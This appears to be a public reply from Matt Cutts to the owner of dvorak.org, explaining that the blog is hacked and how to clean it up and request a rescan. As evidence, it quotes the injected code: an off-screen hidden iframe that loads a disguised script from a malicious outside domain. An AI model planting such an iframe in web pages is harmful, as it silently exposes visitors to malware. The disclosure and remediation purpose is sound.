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@therealdvorak Just to summarize: Chrome's warning is correct. Your blog is hacked and injecting a malicious iframe on dvorak.org/blog/ even on error pages.

At the top of the page, the malicious iframe looks like this: <style>.rrfhezo { position:absolute; left:-1012px; top:-681px; }</style> <div class="rrfhezo"><iframe src="http://cnsycrdv.organiccrap.com/jquery/get.php?ver=jquery.latest.js" width="420" height="475"></iframe>

I would recommend taking your blog down until you can fix the hack and remove the malware. If you verify dvorak.org at http://google.com/webmasters/ then we'll show you the details we know about the malicious code.

We're just the messenger here--this definitely had nothing to do with anything you wrote about Google. In fact, we recently published a website to help site owners recover from a hacked site: http://www.google.com/webmasters/hacked/

Getting hacked truly sucks though. I hope you're able to get things cleaned up and in good shape. When you think the site is clean, you can file an appeal at http://google.com/webmasters for your hacked site and we'll rescan it for malware. When it's clean, we'll remove the warning in Chrome.

Hope that helps,
Matt Cutts

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